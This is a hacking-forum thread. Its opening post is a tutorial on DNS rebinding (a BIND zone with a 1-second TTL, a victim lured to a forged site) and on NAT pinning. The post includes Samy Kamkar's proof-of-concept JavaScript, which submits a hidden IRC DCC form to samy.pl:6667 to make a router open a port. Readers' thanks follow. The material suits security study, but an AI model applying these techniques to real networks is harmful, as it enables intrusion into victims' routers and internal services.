DNS Rebinding/PAT/NAT/NAT Pinning & Overloading

Keeper
11 years ago | edited 11 years ago

1

Image

I’d lie if I say I find it awkward that this hasn’t been discussed here before. I’ll go through the basic explanations so that you may know what we’re gonna talk about. Basically this method enables us to access internal sources that are blocked to certain REMOTE_ADDRs any external traffic. Most of the cases a decent percent of the hacking attempts are hindered by this very restriction (whether it’d be .htaccess, ini files or entirely ranges of nullrouted IPs). Though this tutorial is entirely based on networking I still feel like posting it here since it does find a great deal of implementation in web applications. I won’t explain what a DNS is so you’d better read some basic preliminary stuff before proceed reading. Along side DNS rebinding, I’ll also include identical material like port address translation, NAT pinning and overloading etc.

Image

In short DNS rebinding takes advantage of a low TTL response during which the host header is being altered and thus using client-sided code get authorized to access a certain intranet page. First thing your browser does when attempting to access a website is to connect to a DNS server in order to resolve the domain into an IP. Once the mapping is done, we append the Time To Live a value of 2 or less (not necessary to be exactly 2 or less actually). This means that whenever we try to access the page again, obviously after the TTL has expired, we cause a second DNS look-up combined with a client-sided code (take the all time favourite Javascript for example) to refresh the page and redirect to intranet page we wanna reach eventually. Consider the following request being made towards the server from our side (browser):

GET / HTTP/1.1  
Host: www.example.com  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Keep-Alive: 100  
Connection: keep-alive  

The drawback of this method is that we need to lure the victim (which in our case is the person that has access to the intranet page since we’re gonna use his IP address in order to access it) to visit a forged website that we have setup in advance. The victim’s obviously gonna resolve the domain name so it’s also obligatory that we setup a DNS server of our own in order to lower the TTL and force a rebind to another IP address. Meanwhile, I nullroute your IP address and you are no longer able to access my website so you’ll be forced to rebind since you have been blackholed. This would mean that whenever he accesses the site he gets a TTL of 1 second after which we force him to refresh the page and forward a request from his REMOTE_ADDR towards the intranet resource within the internal network. Unfortunately, the browser would pretty much bust our attack since as you might guess the people that have developed them are aware of DNS rebinding as well. So the second DNS look-up won’t be conducted. Here comes the time when meddle in another method that will bypass this. What we’re gonna do is shut down the server which will cause a forced DNS re-look in order to resolve the domain. Let’s have a look at how this is visually presented below.

Image

Now there are a couple of extra other things we should also have into consideration. The method is exploiting the DNS response as well as taking an advantage over the host header. Suppose that the very same host header is being validated by some reason and upon an invalid one specified as the return connection to the intranet page, no connection is established. There is also the case of an enabled SSL connection which upon a mismatch of the host header will also block our attempt to connect to the source. In this case we come to implement an XMLHttpRequest (which is an API for browser scripting languages) thus allowing us to circumvent the issue caused. Instead of narrating what the exploit is about, I’ll just redirect you to read the official paper located here. As far as I am aware there is no feasible security measure against this attack so far. Now let’s proceed with setting up our own DNS server.

Image

First of all, in order to lower the DNS TTL we must setup a DNS server that would resolve the domain for our victim. We’re gonna install a BIND under Ubuntu and configure it (which is pretty much just a list of servers which will be synchronized and the TTL which it’ll be going through if any changes occur). First thing first. Installing bind.

sudo apt-get install bind9  

Now I’ve took the liberty of borrowing the DNS configuration from Ubuntu’s support forums. So first of all, editing the /etc/bind/named.conf.local file where we’ll be specifying the DNS zones which are practically the domain names:

# This is the zone definition. replace example.com with your domain name  
zone "example.com" {  
        type master;  
        file "/etc/bind/zones/example.com.db";  
        };  

# This is the zone definition for reverse DNS. replace 0.168.192 with your network address in reverse notation - e.g my network address is 192.168.0  
zone "0.168.192.in-addr.arpa" {  
     type master;  
     file "/etc/bind/zones/rev.0.168.192.in-addr.arpa";  
};  

And now the options file (in particular /etc/bind/named.conf.options) where we’ll organizing the behavior of the DNS server upon an unsuccessful request:

forwarders {  
      # Replace the address below with the address of your provider's DNS server  
      123.123.123.123;  
};  

Time for the zone files (under /etc/bind/zones/example.com.db) where we specify the the TTL variable holding the value and actually the place where we modify it to a lower one (1 second in our case). Also keep in mind that each domain name has its own zone file. So:

// replace example.com with your domain name. do not forget the . after the domain name!  
// Also, replace ns1 with the name of your DNS server  
$TTL 1  
example.com.      IN      SOA     ns1.example.com. admin.example.com. (  
// Do not modify the following lines!  
                                                        2006081401  
                                                        28800  
                                                        3600  
                                                        604800  
                                                        38400  
 )  

// Replace the following line as necessary:  
// ns1 = DNS Server name  
// mta = mail server name  
// example.com = domain name  
example.com.      IN      NS              ns1.example.com.  
example.com.      IN      MX     10       mta.example.com.  

// Replace the IP address with the right IP addresses.  
www              IN      A       192.168.0.2  
mta              IN      A       192.168.0.3  
ns1              IN      A       192.168.0.1  

Now modify the reverse DNS zone file (/etc/bind/zones/rev.0.168.192.in-addr.arpa):

//replace example.com with yoour domain name, ns1 with your DNS server name.  
// The number before IN PTR example.com is the machine address of the DNS server. in my case, it's 1, as my IP address is 192.168.0.1.  
@ IN SOA ns1.example.com. admin.example.com. (  
                        2006081401;  
                        28800;  
                        604800;  
                        604800;  
                        86400  
)  

                     IN    NS     ns1.example.com.  
1                    IN    PTR    example.com  

And finally restart the bind and alter /etc/resolv.conf to:

// replace example.com with your domain name, and 192.168.0.1 with the address of your new DNS server.  
search example.com  
nameserver 192.168.0.1  

To check whether everything went as planned look-up a domain like so:

dig example.com  

Now as for the Javascript part - I don’t think there should be any explanation about it at all since the refresh and reconnection are just two functions. Nonetheless:

location.reload();  
window.location='';  

Image

Before looking into how we can exploit these, let’s see how they work. So what is PAT and what is NAT? They stand for Port Address Translation and Network Address Translation. Though they have separate abbreviations, their purpose is nearly the same. The only difference is that PAT translates the internal network IPs into ports (as of its abbr). Basically, they are responsible for the transformation of the private addresses within your local network. For now, take a look at the scheme below which I’ll explain thoroughly afterwards.

Image

Suppose we have three computers connected to our router and their private addresses correspondingly (192.168.0.1, 192.168.0.2, 192.168.0.3). Now those IPs are internal and are treated invalid outside our network if not translated. What PAT and NAT do is they accept a packet from the PCs and according to it, translate the addresses. Consider, you’re just accessing the website at 101.3.3.7 without any translation conducted beforehand. Take the red packet for example. It requests access over the router to the website at 101.3.3.7 specifying its IP, the IP it’s gonna access, source port and destination port. Everything except for the local addressing can happen to be the same even though on rare occasions (meaning you’d need to match the same port that another machine hooked on your network has already went through which is kinda awkward since considering you do no have more than 5-10 at maximum devices connected on your router, you hardly will match an exact same port from 65550 at total). So the three of the computers will go out through a different source port in order not to cause a connection failure/conflict thus disturbing the network hierarchy.

Say the packets are following the below model:

Green packet:

Destination IP: 101.3.3.7  
Source IP: 192.168.0.1  
Destination Port: 80 (TCP/IP)  
Source Port: 1337  
Outgoing source port: 4127  

Red packet:

Destination IP: 101.3.3.7  
Source IP: 192.168.0.2  
Destination Port: 80 (TCP/IP)  
Source Port: 1337  
Outgoing source port: 4128  

Blue packet:

Destination IP: 101.3.3.7  
Source IP: 192.168.0.3  
Destination Port: 80 (TCP/IP)  
Source Port: 1337  
Outgoing source port: 4129  

For the purpose of this, below I’ve visualized it within another scheme (correspondingly for the green, red and blue packets):

Image

Image

NAT overloading is basically the case I’ve given as example above. It practically means that we use more than one device to establish a connection through the router thus overloading the NAT by forcing it to translate more than one internal local address. Now that we know the basics, let’s proceed with the exploitation. The exploit we’re gonna look into is called NAT pinning which pretty much forces routers to port forward a port back to the victim’s device. It’s been discovered by Samuel Kamkar and up to now there hasn’t been a feasible patch or precaution measures developed (at least not public). This could be applied against firewalls or common rule files, for example evading iptables that drop all incoming traffic from a selected IP address (considering its yours, being blackholed or whatever the reason).

iptables -A INPUT -s 101.3.3.7 -j DROP  
iptables -A OUTPUT -d 101.3.3.7 -j DROP  

Pretty much following an identical concept to what DNS rebinding has to offer with a few extra minor considerations. Once again we have a forged, pre-made page that has a hidden form which establishes a connection towards an IRC server on port 6667 and sends the value of:

PRIVMSG samy :\1DCC CHAT samy [ip in decimal] [port]\1\n  

Afterwards, depending on the router (but I believe most which is kinda relative to say..) would open a local port by attempting to access a sub-protocol for the IRC in order for you to connect. Meanwhile, the traffic is directed to you in order to allow NAT traversal but considering you’ve already defined the port, you pretty much open that very same port number that you’ve specified thus allowing you to directly connect through that port accessing whatever you want to get your hands on.

There is also a Javascript script with a couple of functions serving as a PoC for this exploit written again by the developer of the method. I’ll spoiler it here for those who want to attempt performing the exploit:

function getNetInfo() {  
var sock = new java.net.Socket();  
sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));  
sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));  
return sock.getLocalAddress().getHostAddress();  
}  
function natpin(port)  
{  
ip = 1193351435;  
server = 'samy.pl';  
x = String.fromCharCode(1);  
s = 'PRIVMSG samy :'+x+'DCC CHAT samy '+ip+' '+port+x+"\n";  
acidburn = document.getElementById("acidburn");  
gibson = document.createElement("form");  
gibson.setAttribute("name", "B");  
gibson.setAttribute("target", "A");  
gibson.setAttribute("method", "post");  
gibson.setAttribute("action", "http://"+server+":6667");  
gibson.setAttribute("enctype", "multipart/form-data");  
crashoverride = document.createElement("textarea");  
crashoverride.setAttribute("name", "C");  
crashoverride.setAttribute("value", s);  
crashoverride.innerText=s;  
crashoverride.innerHTML=s;  
gibson.appendChild(crashoverride);  
acidburn.appendChild(gibson);  
setTimeout('l('+port+')', 500);  
// this will never complete  
gibson.submit();  
}  

Image

Since every second thread around here is about issues caused by restricted access to intranet resources, I thought it’s gonna be suitable at least for those that want to really attempt it. I personally only attempted the DNS rebinding by installing bind9 on my Ubuntu and though being functioning well enough I still cannot seem to be able to perform it as the theory states. My case is probably a mismatch of instructions so it doesn’t necessarily mean that it won’t work. There are enough PoCs on the web for those doubtful. Thanks for reading.

16replies
9voices
394views
9images
oxide
11 years ago

1

ya i dont go on hf ever but i can vouch i have never seen nor heard of this very good im always trying to learn i like it

guuf
11 years ago

1

Great read Keeper, just starting reading it. I will spend the next few days on it. Out of time today.

DaGr8Kornolio
11 years ago

1

Thanks for all this work @keeper. I did not understand, even if I’m really familiar with theses things, but I guess it may be due to my poor English… I’ll try to read more about it….

Thanks again for the great works. I really looks forward to read your articles.

DaGr8Kornolio

oxide
11 years ago

1

keeper now why would you use a rebinding attack which scenario is that feasible in?

DaGr8Kornolio
11 years ago

1

Thanks @oxide, I will definitely read it… I already found it but it was kinda long… This one is good too : http://www.techrepublic.com/blog/it-security/public-ip-dns-rebinding-another-reason-not-to-use-default-passwords/. I keep working on this. Thanks guys to bring this to your attention…

Watch out guys… your router might be at risk…

DaGr8Kornolio

oxide
11 years ago

1

oh ya i get what this is i remember about this you can hack a home router i didnt know it was done this way

guuf
11 years ago

1

Some people say Hackthis is now boring. But there is plenty to learn/do/understand once you start reading any of Keeper excellent articles (past, present). All are just like this one, a masterpieces of vulnerability exploitation, with coding, examples and highly readable. I dont understand it completely (Bing/Google DNS rebinding) which means Im learning a lot, but I know this exploit is out there, and now there is the possibility I will understand /use/prevent it someday. Thanks Keeper, Excellent!! Give us more.

*********** [ADIGA]
11 years ago

1

i did read most of it, slept during the last parts of this long post, learned nothing and understand nothing, yet thank you, maybe after ramadan ill give it another try :)

Gninja
11 years ago

1

Very nice read much appreciated thank you


1

thanks for sharing these all valuable information.

jayssj11
11 years ago

1

very nice , loved it

jacktimo
11 years ago

1

Thanks again for the great works. I really looks forward to read your articles.


Fifa 14 Ultimate Team Coins

Keeper
11 years ago

1

I’ve kinda gave up on posting tutorials and not only here but everywhere because I simply have no time these days. Upon my return in some months ahead I might renew my contributions (esp in the sphere of networking).

guuf
11 years ago | edited 11 years ago

1

Keeper, I miss your articles already!

Keeper
11 years ago

1

I’ll be probably posting another continuation of this one that relies more on higher TTL but I’ll see how things are coming and which of the tutorials I should carry on with.

You must be logged in to reply to this discussion. Login
1 of 17

This site only uses cookies that are essential for the functionality of this website. Cookies are not used for tracking or marketing purposes.

By using our site, you acknowledge that you have read and understand our Privacy Policy, and Terms of Service.

Dismiss